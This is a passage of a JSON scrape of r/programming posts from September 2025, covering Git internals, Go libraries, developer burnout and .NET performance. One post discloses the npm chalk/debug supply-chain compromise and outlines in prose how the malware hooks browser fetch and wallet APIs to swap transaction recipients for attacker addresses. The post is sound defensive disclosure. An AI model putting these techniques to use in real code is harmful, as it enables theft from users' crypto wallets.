  "media": {
    "kind": "link",
    "url": "https://theaxolot.wordpress.com/2025/09/10/be-an-agnostic-programmer/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nfzfuo",
  "url": "https://open.substack.com/pub/allvpv/p/gits-hidden-simplicity?r=6ehrq6&utm_medium=ios",
  "permalink": "https://www.reddit.com/r/programming/comments/1nfzfuo/gits_hidden_simplicity_whats_behind_every_commit/",
  "title": "Git’s hidden simplicity: what’s behind every commit",
  "body": "It’s time to learn some Git internals.",
  "author": "Low-Strawberry7579",
  "subreddit": "programming",
  "score": 451,
  "upvoteRatio": 0.92,
  "numComments": 156,
  "createdAt": "2025-09-13T14:51:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://open.substack.com/pub/allvpv/p/gits-hidden-simplicity?r=6ehrq6&utm_medium=ios",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nfq0mh",
  "url": "https://www.reddit.com/r/programming/comments/1nfq0mh/removed_by_reddit/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nfq0mh/removed_by_reddit/",
  "title": "[ Removed by Reddit ]",
  "body": "[ Removed by Reddit on account of violating the [content policy](/help/contentpolicy). ]",
  "author": "neilmadden",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 5,
  "createdAt": "2025-09-13T06:11:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/1nfq0mh/removed_by_reddit/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nf9buo",
  "url": "https://www.cerbos.dev/blog/productivity-paradox-of-ai-coding-assistants",
  "permalink": "https://www.reddit.com/r/programming/comments/1nf9buo/the_productivity_paradox_of_ai_coding_assistants/",
  "title": "The productivity paradox of AI coding assistants",
  "body": null,
  "author": "West-Chard-1474",
  "subreddit": "programming",
  "score": 485,
  "upvoteRatio": 0.92,
  "numComments": 173,
  "createdAt": "2025-09-12T17:27:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.cerbos.dev/blog/productivity-paradox-of-ai-coding-assistants",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1neu6uk",
  "url": "https://medium.com/design-bootcamp/understanding-the-prototype-design-pattern-in-go-a-practical-guide-329bf656fdec",
  "permalink": "https://www.reddit.com/r/programming/comments/1neu6uk/prototype_design_pattern_in_go_faster_object/",
  "title": "Prototype Design Pattern in Go – Faster Object Creation 🚀",
  "body": "Hey folks,\n\nI recently wrote a blog about the Prototype Design Pattern and how it can simplify object creation in Go.\n\nInstead of constantly re-building complex objects from scratch (like configs, game entities, or nested structs), Prototype lets you clone pre-initialized objects, saving time and reducing boilerplate.\n\nIn the blog, I cover:\n\n* The basics of shallow vs deep cloning in Go.\n* Different implementation techniques (Clone() methods, serialization, reflection).\n* Building a Prototype Registry for dynamic object creation.\n* Real-world use cases like undo/redo systems, plugin architectures, and performance-heavy apps.\n\nIf you’ve ever struggled with slow, expensive object initialization, this might help:\n\n[https://medium.com/design-bootcamp/understanding-the-prototype-design-pattern-in-go-a-practical-guide-329bf656fdec](https://medium.com/design-bootcamp/understanding-the-prototype-design-pattern-in-go-a-practical-guide-329bf656fdec)\n\nCurious to hear how you’ve solved similar problems in your projects!",
  "author": "priyankchheda15",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.41,
  "numComments": 0,
  "createdAt": "2025-09-12T04:46:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/design-bootcamp/understanding-the-prototype-design-pattern-in-go-a-practical-guide-329bf656fdec",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nesqco",
  "url": "https://lwn.net/Articles/1034966/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nesqco/the_challenge_of_maintaining_curl/",
  "title": "The Challenge of Maintaining Curl",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 371,
  "upvoteRatio": 0.97,
  "numComments": 99,
  "createdAt": "2025-09-12T03:26:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lwn.net/Articles/1034966/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nei4ig",
  "url": "https://jcmartinez.dev/post/the-real-reasons-why-developers-burnout",
  "permalink": "https://www.reddit.com/r/programming/comments/1nei4ig/the_real_reasons_why_developers_burnout/",
  "title": "The Real Reasons Why Developers Burnout",
  "body": "When people talk about “developer burnout,” the assumption is usually that engineers are working too many hours, drowning in code. But after 20+ years in this industry, I’ve rarely seen burnout caused by too much coding.\n\nInstead, developers burn out because of the environment around coding:\n\n\\* Unclear priorities — constant shifting goals, wasted effort.\n\n\\* Constant interruptions — meetings, Slack pings, context switching.\n\n\\* Politics — decisions driven by ego instead of merit.\n\nCode complexity can be hard, but it’s logical. You can refactor it, test it, improve it. Chaos is different. You can’t debug interruptions, or refactor unclear priorities. And chaos amplifies complexity, making hard problems feel impossible.\n\nMy recommendations for developers stuck in these environments:\n\n\\* Protect blocks of deep work time.\n\n\\* Push for written, stable priorities.\n\n\\* Reduce nonessential notifications/meetings.\n\n\\* Build allies who also value focus.\n\n\\* Track and show the costs of interruptions and shifting goals.\n\n\\* Know when to walk away from cultures that won’t change.\n\n\n\nThoughts?",
  "author": "bajcmartinez",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 18,
  "createdAt": "2025-09-11T19:28:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jcmartinez.dev/post/the-real-reasons-why-developers-burnout",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1neeuy6",
  "url": "https://www.seangoedecke.com/pure-and-impure-engineering/",
  "permalink": "https://www.reddit.com/r/programming/comments/1neeuy6/pure_and_impure_software_engineering/",
  "title": "Pure and Impure Software Engineering",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.54,
  "numComments": 0,
  "createdAt": "2025-09-11T17:24:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.seangoedecke.com/pure-and-impure-engineering/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1neepdf",
  "url": "https://raku.org/",
  "permalink": "https://www.reddit.com/r/programming/comments/1neepdf/raku_is_an_expressive_multiparadigm_open_source/",
  "title": "Raku is an expressive, multi‑paradigm, Open Source language that works the way you think",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 31,
  "createdAt": "2025-09-11T17:18:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://raku.org/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1necwrf",
  "url": "https://www.divinedevops.com/posts/holy-grail-test-coverage/#content",
  "permalink": "https://www.reddit.com/r/programming/comments/1necwrf/the_holy_grail_of_qa_100_test_coverage_a/",
  "title": "The Holy Grail of QA: 100% Test Coverage - A Developer's Mythical Quest",
  "body": "Being an SDET, I've been thinking about how 100% test coverage has become this mythical goal in software development - like some kind of Holy Grail that promises perfect code and eternal deployment peace.\n\nThe reality is:\n- Nobody has ever actually achieved meaningful 100% coverage\n- It's often counterproductive to even try\n- Yet we still put it in our CI gates and performance reviews\n- Junior devs get obsessed with it, senior devs avoid talking about it\n\nIt's fascinating how this metric has taken on almost religious significance. We treat it like an ancient artifact that will solve all our problems, when really it's just... a number.\n\nWhat's your take? Is 100% test coverage a worthy goal, a dangerous distraction, or something in between? Have you ever worked on a codebase that actually achieved it in any meaningful way?\n\nEdit: For anyone interested, I turned this concept into a satirical 'artifact documentation' treating 100% test coverage like an ancient relic - link above if you want the full mythology treatment!\"",
  "author": "spite",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 21,
  "createdAt": "2025-09-11T16:10:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.divinedevops.com/posts/holy-grail-test-coverage/#content",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nduzwm",
  "url": "https://ordep.dev/posts/livelocks",
  "permalink": "https://www.reddit.com/r/programming/comments/1nduzwm/when_more_threads_make_things_worse/",
  "title": "When more threads make things worse",
  "body": null,
  "author": "ordepdev29",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.53,
  "numComments": 3,
  "createdAt": "2025-09-11T00:35:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ordep.dev/posts/livelocks",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ndpzfz",
  "url": "https://gizmodo.com/microsoft-goes-back-to-basic-open-sources-bill-gates-code-2000654010",
  "permalink": "https://www.reddit.com/r/programming/comments/1ndpzfz/microsoft_goes_back_to_basic_opensources_bill/",
  "title": "Microsoft Goes Back to BASIC, Open-Sources Bill Gates' Code",
  "body": null,
  "author": "Top-Figure7252",
  "subreddit": "programming",
  "score": 860,
  "upvoteRatio": 0.92,
  "numComments": 163,
  "createdAt": "2025-09-10T20:53:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gizmodo.com/microsoft-goes-back-to-basic-open-sources-bill-gates-code-2000654010",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ndnjho",
  "url": "https://docs.dolthub.com/concepts/dolt/git/merge",
  "permalink": "https://www.reddit.com/r/programming/comments/1ndnjho/a_git_like_database/",
  "title": "A Git like Database",
  "body": "I just came across a database called DoltDB , which presented itself as an *Agent Database* at the AI Agent Builder Summit.\n\nI looked into their documentation to understand what they mean by *git-like*. It essentially wraps the command line with a `dolt` CLI, so you can run commands like `dolt diff`, `dolt merge`, and `dolt checkout`. That’s an interesting concept.\n\nI’m still trying to figure out the real killer use case for this feature, but so far I haven’t found any clear documentation that explains it.\n\n    docs $ dolt sql -q \"insert into docs values (10,10)\"\n    Query OK, 1 row affected\n    docs $ dolt diff\n    diff --dolt a/docs b/docs\n    --- a/docs @ 2lcu9e49ia08icjonmt3l0s7ph2cdb5s\n    +++ b/docs @ vpl1rk08eccdfap89kkrff1pk3r8519j\n    +-----+----+----+\n    |     | pk | c1 |\n    +-----+----+----+\n    |  +  | 10 | 10 |\n    +-----+----+----+\n    docs $ dolt commit -am \"Added a row on a branch\"\n    commit ijrrpul05o5j0kgsk1euds9pt5n5ddh0\n    Author: Tim Sehn <tim@dolthub.com>\n    Date:   Mon Dec 06 15:06:39 -0800 2021\n    \n    Added a row on a branch\n    \n    docs $ dolt checkout main\n    Switched to branch 'main'\n    docs $ dolt sql -q \"select * from docs\"\n    +----+----+\n    | pk | c1 |\n    +----+----+\n    | 1  | 1  |\n    | 2  | 1  |\n    +----+----+\n    docs $ dolt merge check-out-new-branch\n    Updating f0ga78jrh4llc0uus8h2refopp6n870m..ijrrpul05o5j0kgsk1euds9pt5n5ddh0\n    Fast-forward\n    docs $ dolt sql -q \"select * from docs\"\n    +----+----+\n    | pk | c1 |\n    +----+----+\n    | 1  | 1  |\n    | 2  | 1  |\n    | 10 | 10 |\n    +----+----+\n\n  \n",
  "author": "No_Lock7126",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.38,
  "numComments": 19,
  "createdAt": "2025-09-10T19:16:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://docs.dolthub.com/concepts/dolt/git/merge",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ndemk4",
  "url": "https://devblogs.microsoft.com/dotnet/performance-improvements-in-net-10/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ndemk4/performance_improvements_in_net_10/",
  "title": "Performance Improvements in .NET 10",
  "body": null,
  "author": "ben_a_adams",
  "subreddit": "programming",
  "score": 381,
  "upvoteRatio": 0.93,
  "numComments": 132,
  "createdAt": "2025-09-10T13:45:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devblogs.microsoft.com/dotnet/performance-improvements-in-net-10/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nda6tp",
  "url": "https://thetshaped.dev/p/what-is-a-modular-monolith-benefits-and-microservices-challenges",
  "permalink": "https://www.reddit.com/r/programming/comments/1nda6tp/what_is_a_modular_monolith_and_why_you_should_care/",
  "title": "What Is a Modular Monolith And Why You Should Care? 🔥",
  "body": null,
  "author": "pepincho",
  "subreddit": "programming",
  "score": 32,
  "upvoteRatio": 0.69,
  "numComments": 47,
  "createdAt": "2025-09-10T10:09:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thetshaped.dev/p/what-is-a-modular-monolith-benefits-and-microservices-challenges",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nd7bby",
  "url": "https://github.com/Voultapher/sort-research-rs/blob/main/writeup/unreasonable/text.md",
  "permalink": "https://www.reddit.com/r/programming/comments/1nd7bby/the_unreasonable_effectiveness_of_modern_sort/",
  "title": "The unreasonable effectiveness of modern sort algorithms",
  "body": null,
  "author": "Voultapher",
  "subreddit": "programming",
  "score": 335,
  "upvoteRatio": 0.93,
  "numComments": 39,
  "createdAt": "2025-09-10T07:01:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/Voultapher/sort-research-rs/blob/main/writeup/unreasonable/text.md",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ncnhmi",
  "url": "https://oneuptime.com/blog/post/2025-09-09-lessons-from-npm-security-failures/view",
  "permalink": "https://www.reddit.com/r/programming/comments/1ncnhmi/lessons_from_npms_security_failures/",
  "title": "Lessons from npm's Security Failures",
  "body": null,
  "author": "OuPeaNut",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.52,
  "numComments": 9,
  "createdAt": "2025-09-09T16:23:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://oneuptime.com/blog/post/2025-09-09-lessons-from-npm-security-failures/view",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ncl9ws",
  "url": "https://chinmay-sawant.github.io/gopdfsuit/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ncl9ws/engineering_a_highperformance_go_pdf_microservice/",
  "title": "Engineering a High-Performance Go PDF Microservice",
  "body": "I built **GoPdfSuit**, an open-source web service for generating PDFs, and wanted to share the technical design that makes it exceptionally fast and efficient. My goal was to create a lean alternative to traditional, resource-heavy PDF solutions.\n\n# Core Technical Design\n\nThe core of the service is built on **Go 1.23+** and the **Gin framework** for their high performance and concurrency capabilities. Unlike many other services that rely on disk-based processing, GoPdfSuit is a **high-performance in-memory PDF generator**. This approach is crucial to its speed, as it completely bypasses slow disk I/O operations, leading to ultra-fast response times of sub-millisecond to low-millisecond.\n\nFor the actual HTML-to-PDF and HTML-to-image conversions, the service leverages the power of `wkhtmltopdf` and `wkhtmltoimage`. This allows it to accurately render web pages and HTML snippets into high-quality PDFs and images. The project demonstrates how intelligently integrating and managing a powerful external tool like `wkhtmltopdf` can lead to a highly optimized and performant solution.\n\n# Key Features and Implementation Details\n\n* **Template-Driven System**: GoPdfSuit utilizes a **JSON-driven templating system**. This design separates data from presentation, making it simple to generate complex, dynamic PDFs by just sending a JSON payload to the REST API.\n* **Flexible PDF Generation**: The service supports multi-page documents with automatic page breaks and custom page sizes, giving developers a high degree of control over the output. It also includes support for **AcroForm** and **XFDF data**, enabling the filling out of interactive forms programmatically.\n* **Deployment**: It's deployed as a single, statically compiled binary, making it extremely easy to get up and running in any environment, from a local machine to a containerized cloud deployment.\n\nI'm happy to discuss the implementation details, the challenges of orchestrating `wkhtmltopdf` in a high-concurrency environment, or the design of the in-memory processing pipeline.\n\n* **GitHub**: [`https://github.com/chinmay-sawant/gopdfsuit`](https://github.com/chinmay-sawant/gopdfsuit)\n* **Project Page**: [`https://chinmay-sawant.github.io/gopdfsuit/`](https://chinmay-sawant.github.io/gopdfsuit/)",
  "author": "chinmay06",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.6,
  "numComments": 8,
  "createdAt": "2025-09-09T15:00:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://chinmay-sawant.github.io/gopdfsuit/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ncht77",
  "url": "https://blog.epsiolabs.com/i-love-uuid-i-hate-uuid",
  "permalink": "https://www.reddit.com/r/programming/comments/1ncht77/i_love_uuid_i_hate_uuid/",
  "title": "I love UUID, I hate UUID",
  "body": null,
  "author": "bobbymk10",
  "subreddit": "programming",
  "score": 487,
  "upvoteRatio": 0.91,
  "numComments": 156,
  "createdAt": "2025-09-09T12:40:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.epsiolabs.com/i-love-uuid-i-hate-uuid",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ncb4hj",
  "url": "https://signal.org/blog/introducing-secure-backups/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ncb4hj/signal_secure_backups/",
  "title": "Signal Secure Backups",
  "body": null,
  "author": "cheerfulboy",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 0,
  "createdAt": "2025-09-09T06:00:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://signal.org/blog/introducing-secure-backups/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nbvji6",
  "url": "https://jamesoswald.dev/posts/jai-result/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nbvji6/emulating_rusts_result_and_in_jai_with/",
  "title": "Emulating Rust's Result and ? in Jai with Metaprogramming",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 2,
  "createdAt": "2025-09-08T18:22:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jamesoswald.dev/posts/jai-result/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nbvfcs",
  "url": "https://idiallo.com/blog/writing-code-is-easy-reading-is-hard",
  "permalink": "https://www.reddit.com/r/programming/comments/1nbvfcs/writing_code_is_easy_reading_it_isnt/",
  "title": "Writing Code Is Easy. Reading It Isn't",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 264,
  "upvoteRatio": 0.88,
  "numComments": 64,
  "createdAt": "2025-09-08T18:18:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://idiallo.com/blog/writing-code-is-easy-reading-is-hard",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nbqt4d",
  "url": "https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised",
  "permalink": "https://www.reddit.com/r/programming/comments/1nbqt4d/largest_npm_compromise_in_history_supply_chain/",
  "title": "Largest NPM Compromise in History - Supply Chain Attack",
  "body": "Hey Everyone\n\nWe just discovered that around 1 hour ago packages with a total of 2 billion weekly downloads on npm were compromised all belonging to one developer [https://www.npmjs.com/\\~qix](https://www.npmjs.com/~qix)\n\nansi-styles (371.41m downloads per week)  \ndebug (357.6m downloads per week)  \nbackslash (0.26m downloads per week)  \nchalk-template (3.9m downloads per week)  \nsupports-hyperlinks (19.2m downloads per week)  \nhas-ansi (12.1m downloads per week)  \nsimple-swizzle (26.26m downloads per week)  \ncolor-string (27.48m downloads per week)  \nerror-ex (47.17m downloads per week)  \ncolor-name (191.71m downloads per week)  \nis-arrayish (73.8m downloads per week)  \nslice-ansi (59.8m downloads per week)  \ncolor-convert (193.5m downloads per week)  \nwrap-ansi (197.99m downloads per week)  \nansi-regex (243.64m downloads per week)  \nsupports-color (287.1m downloads per week)  \nstrip-ansi (261.17m downloads per week)  \nchalk (299.99m downloads per week)\n\nThe compromises all stem from a core developers NPM account getting taken over from a phishing campaign\n\nThe malware itself, luckily, looks like its mostly intrested in crypto at the moment so its impact is smaller than if they had installed a backdoor for example.\n\n# How the Malware Works (Step by Step)\n\n1. **Injects itself into the browser**\n   * Hooks core functions like `fetch`, `XMLHttpRequest`, and wallet APIs (`window.ethereum`, Solana, etc.).\n   * Ensures it can intercept both web traffic and wallet activity.\n2. **Watches for sensitive data**\n   * Scans network responses and transaction payloads for anything that looks like a wallet address or transfer.\n   * Recognizes multiple formats across Ethereum, Bitcoin, Solana, Tron, Litecoin, and Bitcoin Cash.\n3. **Rewrites the targets**\n   * Replaces the legitimate destination with an attacker-controlled address.\n   * Uses “lookalike” addresses (via string-matching) to make swaps less obvious.\n4. **Hijacks transactions before they’re signed**\n   * Alters Ethereum and Solana transaction parameters (e.g., recipients, approvals, allowances).\n   * Even if the UI looks correct, the signed transaction routes funds to the attacker.\n5. **Stays stealthy**\n   * If a crypto wallet is detected, it avoids obvious swaps in the UI to reduce suspicion.\n   * Keeps silent hooks running in the background to capture and alter real transactions\n\nOur blog is being dynamically updated - [https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised](https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised)",
  "author": "Advocatemack",
  "subreddit": "programming",
  "score": 1456,
  "upvoteRatio": 0.98,
  "numComments": 576,
  "createdAt": "2025-09-08T15:28:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nblrjg",
  "url": "https://www.jimmyff.co.uk/blog/beyond-package-management-how-nix-refactored-my-digital-life/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nblrjg/beyond_package_management_how_nix_refactored_my/",
  "title": "Beyond package management: How Nix refactored my digital life",
  "body": "Hey, author here, the blog post takes you through my journey with nix so far: reviving an old Pixelbook with NixOS, wrangling my MacBook with nix-darwin, and super-charging Nix with AI to solve a problem I thought was unsolvable.\n\nHappy to answer any questions!",
  "author": "jimmyff",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.54,
  "numComments": 15,
  "createdAt": "2025-09-08T11:59:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.jimmyff.co.uk/blog/beyond-package-management-how-nix-refactored-my-digital-life/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nbkwzt",
  "url": "https://www.gingerbill.org/article/2025/09/08/package-managers-are-evil/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nbkwzt/package_managers_are_evil/",
  "title": "Package Managers are Evil",
  "body": null,
  "author": "gingerbill",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 47,
  "createdAt": "2025-09-08T11:15:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.gingerbill.org/article/2025/09/08/package-managers-are-evil/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nbfcjl",
  "url": "https://abinesh-mathivanan.vercel.app/en/posts/post-6/",
  "permalink": "https://www.reddit.com/r/programming/comments/1nbfcjl/how_did_i_optimized_gotorch_to_run_115x_times/",
  "title": "how did i optimized go-torch to run 115x times faster - a short blog",
  "body": "after this blog, i optimized the library by allocating intermediate buffers during the backward pass and SGC. I'll explain it in the next blog. ",
  "author": "External_Mushroom978",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2025-09-08T05:28:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://abinesh-mathivanan.vercel.app/en/posts/post-6/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1nb7fbd",
  "url": "https://github.com/FilipeJohansson/gosocket",
  "permalink": "https://www.reddit.com/r/programming/comments/1nb7fbd/introducing_gosocket_a_simple_websocket_framework/",
  "title": "Introducing GoSocket – A Simple WebSocket Framework for Go",
  "body": "Hi Go community,\n\nI’m excited to share **GoSocket**, a lightweight WebSocket library for Go that aims to make setting up WebSocket servers fast.\n\nSetting up a WebSocket server in Go often requires writing a lot of boilerplate: handling connections, managing clients, broadcasting messages, dealing with rooms, and supporting different message formats. **GoSocket** abstracts all of that so you can get a working server running in just a few lines of code.\n\n# Features\n\n* **Quick setup:** 5–10 lines of code to get a server running\n* **Multiple encoding support:** JSON (ready), Protobuf & MessagePack (planned), or raw binary\n* **Rooms & broadcasting:** Join/leave rooms and broadcast messages easily\n* **Middleware support:** Authentication, logging, CORS, etc.\n* **Graceful shutdown:** Clean connection handling\n* **Multiple servers:** Run chat, notifications, and admin panels on different ports simultaneously\n\n# Quick Example\n\n    ws := gosocket.NewServer()\n    \n    ws.WithPort(8080).\n        WithPath(\"/ws\").\n        OnConnect(func(client *gosocket.Client, ctx *gosocket.HandlerContext) error {\n            fmt.Printf(\"Client connected: %s\\n\", client.ID)\n            return nil\n        }).\n        OnMessage(func(client *gosocket.Client, message *gosocket.Message, ctx *gosocket.HandlerContext) error {\n            fmt.Printf(\"Received: %s\\n\", string(message.RawData))\n            // Echo back\n            client.Send(message.RawData)\n            return nil\n        }).\n        OnDisconnect(func(client *gosocket.Client, ctx *gosocket.HandlerContext) error {\n            fmt.Printf(\"Client disconnected: %s\\n\", client.ID)\n            return nil\n        })\n    \n    log.Fatal(ws.Start())\n\n# Current Status\n\nWe’re planning to release **v1.0.0** soon, but you can start testing pre-production versions today.\n\n# Contributing\n\nGoSocket is actively being developed and we welcome contributions in:\n\n* Documentation & examples\n* Testing edge cases and performance scenarios\n* Adding new serializers (Protobuf, MessagePack)\n\nIf you’d like to contribute, check the code structure, open an issue to discuss what you want to work on, and start coding.\n\nYou can find the project on GitHub: [https://github.com/FilipeJohansson/gosocket](https://github.com/FilipeJohansson/gosocket)\n\nAny help testing, contributing, or even 